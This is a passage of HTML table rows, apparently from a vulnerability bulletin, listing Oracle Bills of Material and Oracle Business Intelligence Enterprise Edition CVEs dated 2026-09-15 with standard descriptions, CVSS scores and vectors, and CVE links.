&lt;td&gt;Vulnerability in the Oracle Bills of Material product of Oracle E-Business Suite (component: Setup Workbench). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Bills of Material. Successful attacks of this vulnerability can result in takeover of Oracle Bills of Material. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87150&quot; target=&quot;_blank&quot;&gt;CVE-2026-87150&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Bills of Material&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Bills of Material product of Oracle E-Business Suite (component: Setup Workbench). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Bills of Material. While the vulnerability is in Oracle Bills of Material, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Bills of Material accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87151&quot; target=&quot;_blank&quot;&gt;CVE-2026-87151&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Business Intelligence Enterprise Edition&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Platform Security). The supported version that is affected is 12.2.1.4.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition. While the vulnerability is in Oracle Business Intelligence Enterprise Edition, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83282&quot; target=&quot;_blank&quot;&gt;CVE-2026-83282&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Business Intelligence Enterprise Edition&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Platform Security). The supported version that is affected is 12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition. Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83283&quot; target=&quot;_blank&quot;&gt;CVE-2026-83283&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Business Intelligence Enterprise Edition&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: BI Search). The supported version that is affected is 12.2.1.4.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Business Intelligence Enterprise Edition accessible data as well as unauthorized access to critical data or complete access to all Oracle Business Intelligence Enterprise Edition accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 8.3 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83285&quot; target=&quot;_blank&quot;&gt;CVE-2026-83285&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Business Intelligence Enterprise Edition&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Platform Security). Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and 26.01.0.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition. Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83286&quot; target=&quot;_blank&quot;&gt;CVE-2026-83286&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Business Intelligence Enterprise Edition&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Web General). The supported version that is affected is 12.2.1.4.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition. Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83299&quot; target=&quot;_blank&quot;&gt;CVE-2026-83299&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Business Intelligence Enterprise Edition&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Service Administration UI). The supported version that is affected is 12.2.1.4.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition. Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83301&quot; target=&quot;_blank&quot;&gt;CVE-2026-83301&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Business Intelligence Enterprise Edition&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Web General). Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and 26.01.0.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition. While the vulnerability is in Oracle Business Intelligence Enterprise Edition, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Business Intelligence Enterprise Edition accessible data as well as unauthorized access to critical data or complete access to all Oracle Business Intelligence Enterprise Edition accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 8.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83304&quot; target=&quot;_blank&quot;&gt;CVE-2026-83304&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Business Intelligence Enterprise Edition&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Actions). Supported versions that are affected are 8.2.0.0.0 and 26.01.0.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition. While the vulnerability is in Oracle Business Intelligence Enterprise Edition, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Business Intelligence Enterprise Edition accessible data as well as unauthorized update, insert or delete access to some of Oracle Business Intelligence Enterprise Edition accessible data. CVSS 3.1 Base Score 8.5 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83321&quot; target=&quot;_blank&quot;&gt;CVE-2026-83321&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Business Intelligence Enterprise Edition&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Server). Supported versions that are affected are 8.2.0.0.0 and 26.01.0.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition. Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83335&quot; target=&quot;_blank&quot;&gt;CVE-2026-83335&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Business Intelligence Enterprise Edition&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Machine Learning). Supported versions that are affected are 8.2.0.0.0 and 26.01.0.0.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Business Intelligence Enterprise Edition executes to compromise Oracle Business Intelligence Enterprise Edition. Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83071&quot; target=&quot;_blank&quot;&gt;CVE-2026-83071&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Business Intelligence Enterprise Edition&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: BI Platform Security). Supported versions that are affected are 8.2.0.0.0 and 26.01.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Business Intelligence Enterprise Edition accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83270&quot; target=&quot;_blank&quot;&gt;CVE-2026-83270&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Business Intelligence Enterprise Edition&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Platform Security). The supported version that is affected is 26.01.0.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition. Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83273&quot; target=&quot;_blank&quot;&gt;CVE-2026-83273&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Business Intelligence Enterprise Edition&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Presentation Services). Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and 26.01.0.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via SOAP to compromise Oracle Business Intelligence Enterprise Edition. While the vulnerability is in Oracle Business Intelligence Enterprise Edition, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Business Intelligence Enterprise Edition accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83287&quot; target=&quot;_blank&quot;&gt;CVE-2026-83287&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Business Intelligence Enterprise Edition&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: BI Search). Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and 26.01.0.0.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Business Intelligence Enterprise Edition executes to compromise Oracle Business Intelligence Enterprise Edition. Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83288&quot; target=&quot;_blank&quot;&gt;CVE-2026-83288&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Business Intelligence Enterprise Edition&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Web General). Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and 26.01.0.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via SOAP to compromise Oracle Business Intelligence Enterprise Edition. Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83289&quot; target=&quot;_blank&quot;&gt;CVE-2026-83289&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Business Intelligence Enterprise Edition&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Platform Security). Supported versions that are affected are 8.2.0.0.0 and 26.01.0.0.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Business Intelligence Enterprise Edition executes to compromise Oracle Business Intelligence Enterprise Edition. Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83290&quot; target=&quot;_blank&quot;&gt;CVE-2026-83290&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Business Intelligence Enterprise Edition&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Platform Security). Supported versions that are affected are 8.2.0.0.0 and 26.01.0.0.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Business Intelligence Enterprise Edition executes to compromise Oracle Business Intelligence Enterprise Edition. Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83291&quot; target=&quot;_blank&quot;&gt;CVE-2026-83291&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Business Intelligence Enterprise Edition&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Platform Security). Supported versions that are affected are 8.2.0.0.0 and 26.01.0.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition. Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83292&quot; target=&quot;_blank&quot;&gt;CVE-2026-83292&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Business Intelligence Enterprise Edition&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: FNDN). The supported version that is affected is 12.2.1.4.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Business Intelligence Enterprise Edition executes to compromise Oracle Business Intelligence Enterprise Edition. Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83293&quot; target=&quot;_blank&quot;&gt;CVE-2026-83293&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Business Intelligence Enterprise Edition&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Platform Security). Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and 26.01.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Business Intelligence Enterprise Edition executes to compromise Oracle Business Intelligence Enterprise Edition. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83294&quot; target=&quot;_blank&quot;&gt;CVE-2026-83294&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Business Intelligence Enterprise Edition&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Presentation Services). Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and 26.01.0.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via SOAP to compromise Oracle Business Intelligence Enterprise Edition. Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83295&quot; target=&quot;_blank&quot;&gt;CVE-2026-83295&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Business Intelligence Enterprise Edition&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: BI Search). Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and 26.01.0.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition. Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83296&quot; target=&quot;_blank&quot;&gt;CVE-2026-83296&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Business Intelligence Enterprise Edition&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Platform Security). The supported version that is affected is 26.01.0.0.0. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Business Intelligence Enterprise Edition executes to compromise Oracle Business Intelligence Enterprise Edition. Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83316&quot; target=&quot;_blank&quot;&gt;CVE-2026-83316&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Business Intelligence Enterprise Edition&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Installation). Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and 26.01.0.0.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Business Intelligence Enterprise Edition executes to compromise Oracle Business Intelligence Enterprise Edition. Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83317&quot; target=&quot;_blank&quot;&gt;CVE-2026-83317&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Business Intelligence Enterprise Edition&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Platform Security). Supported versions that are affected are 8.2.0.0.0 and 26.01.0.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition. Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83322&quot; target=&quot;_blank&quot;&gt;CVE-2026-83322&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Business Intelligence Enterprise Edition&lt;/td&gt;
